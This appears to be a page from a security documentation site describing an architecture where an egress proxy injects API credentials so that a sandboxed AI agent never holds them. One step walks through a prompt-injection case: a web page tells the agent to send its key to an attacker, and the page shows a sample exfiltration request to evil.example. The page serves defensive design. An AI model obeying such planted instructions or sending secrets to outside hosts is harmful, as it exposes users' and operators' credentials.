DPoP
Makes a token copied from a log, a trace or a model’s context useless without the key.
Flows / Cross-cutting
Credential injection at the egress proxy
The agent never holds the secret. A proxy outside the sandbox adds it to outgoing requests, and only for the hosts it was meant for.
Every other page on this site is about getting the right credential to an agent. This one is about not giving it one at all.
An agent that executes code, reads web pages and follows instructions found in documents can be manipulated. If it holds an API key, a successful prompt injection can print it, post it, or commit it. Shortening the key’s life and narrowing its scope help. Removing it from the agent’s reach helps more.
In this pattern the agent runs in a sandbox whose only route to the network is a proxy the agent does not control. The real credentials live in a vault beside that proxy. When the agent makes a request to an allowed host, the proxy attaches the credential on the way out. The agent can use the access. It cannot read it, and it cannot send it anywhere else.
There is no standard for this. It is an architecture, implemented in several managed agent platforms and open-source proxies, and it composes with everything else here.
Step by step
10 steps between 4 parties. Each step shows the message and who holds which credential afterward. Use ←→ or select any arrow.
Sequence diagram4 participants, 10 steps
- Direct call
- Response
- Local action
Drag to see every party and step. Tap a step to jump to its explanation.
An operator stores the credential ahead of time
The credential is saved with the hosts it may be sent to. For OAuth-protected services the vault holds the refresh token and renews access tokens itself.
Who holds what after this step
- Credential vault
- newAPI key (api.example.com only)
Parties not listed hold none of this flow’s credentials at this point.
The sandbox starts without the secret
The agent’s environment contains either nothing or an opaque placeholder where the key would be. Its network is configured so that all outbound traffic goes through the proxy.
Who holds what after this step
- Agent
- newplaceholder
- Credential vault
- API key (api.example.com only)
Parties not listed hold none of this flow’s credentials at this point.
The agent calls the API as if it had the key
From inside the sandbox this looks like an ordinary HTTPS request.
GET /v1/reports HTTP/1.1 Host: api.example.com Authorization: Bearer __PLACEHOLDER_REPORTS_KEY__Who holds what after this step
- Agent
- placeholder
- Credential vault
- API key (api.example.com only)
Parties not listed hold none of this flow’s credentials at this point.
The proxy checks where the request is going
Is the destination on the allow-list at all? Is there a credential scoped to this host? Both checks happen outside the sandbox, where the agent cannot influence them.
Who holds what after this step
- Agent
- placeholder
- Credential vault
- API key (api.example.com only)
Parties not listed hold none of this flow’s credentials at this point.
The proxy fetches the real credential
The proxy authenticates to the vault with its own workload identity.
Who holds what after this step
- Agent
- placeholder
- Credential vault
- API key (api.example.com only)
Parties not listed hold none of this flow’s credentials at this point.
The vault releases it to the proxy only
The secret exists in the proxy’s memory for the duration of one request.
Who holds what after this step
- Agent
- placeholder
- Egress proxy
- newAPI key (in memory)
- Credential vault
- API key (api.example.com only)
Parties not listed hold none of this flow’s credentials at this point.
The proxy swaps the placeholder and forwards
On the wire to the API, the request carries the real key.
GET /v1/reports HTTP/1.1 Host: api.example.com Authorization: Bearer sk_live_9f8a…Who holds what after this step
- Agent
- placeholder
- Egress proxy
- API key (in memory)
- Credential vault
- API key (api.example.com only)
Parties not listed hold none of this flow’s credentials at this point.
The response returns to the agent
The agent gets the data. At no point did the key enter the sandbox, the model’s context, or the agent’s logs.
Who holds what after this step
- Agent
- placeholder
- Egress proxy
- used up
API key (in memory) - Credential vault
- API key (api.example.com only)
Parties not listed hold none of this flow’s credentials at this point.
An injection tries to exfiltrate the key
A web page the agent read contained instructions to send its credentials to an attacker’s server. The agent complies, with the only thing it has.
POST /collect HTTP/1.1 Host: evil.example key=__PLACEHOLDER_REPORTS_KEY__Who holds what after this step
- Agent
- placeholder
- Credential vault
- API key (api.example.com only)
Parties not listed hold none of this flow’s credentials at this point.
The proxy refuses
The host is not on the allow-list. Even if it were, no credential is scoped to it, so the placeholder would have gone out as a meaningless string.
Who holds what after this step
- Agent
- placeholder
- Credential vault
- API key (api.example.com only)
Parties not listed hold none of this flow’s credentials at this point.
Watch out for
- It stops exfiltration of the credential, not misuse of the access. A hijacked agent can still make harmful calls to the allowed host while it runs.
- The proxy must see inside the request to add a header, so it terminates TLS. That makes it a high-value target and requires the sandbox to trust its certificate authority.
- Scope each credential to specific hosts, and inject only into headers or bodies, never URLs. Otherwise an attacker can route the secret to a server that will echo it back.
- Clients that validate a key’s format locally may reject placeholders.
Variations
Token vault and exchange. The agent holds its own short-lived token and exchanges it for a downstream token on each call. A refresh token never reaches the agent, though an access token briefly does.
Execution-scoped credentials. A credential is minted per task and revoked when the process exits, so a reused sandbox does not accumulate the authority of every run.
Sealed secrets. The agent holds the secret encrypted to the proxy’s key. Only the proxy can open it, and the sealed value carries its own list of permitted hosts.
No long-lived secret. Where the destination supports it, workload identity federation removes the need to provision one. The short-lived credentials it issues still need protecting.
Standards in play
See the full tracker for status and links.
SPIFFE
The de facto workload identifier reused by the IETF agent architecture draft, cloud agent-identity products and agent gateways.
Agent Sandbox
Templates turn off service account token mounting by default and generate a network policy that blocks cluster-internal and metadata addresses.
agentgateway
A concrete place to enforce much of what this site describes without changing agent code.
Related flows
URL elicitation
A tool needs the user to sign in somewhere else. It hands back a link, the user completes the flow in a browser, and the secret never touches the agent.
Human presentEmerging
Workload identity federation
Your agent uses an identity established by its runtime to obtain short-lived access from a system that trusts that identity.
No humanStable standards
DPoP
Bind a token to a key so that stealing the token is not enough to use it.
With or without a humanStable standards
SPIFFE + mTLS
Every agent process gets a cryptographic identity from the infrastructure it runs on, and uses it to authenticate both ends of every connection.
No humanStable standards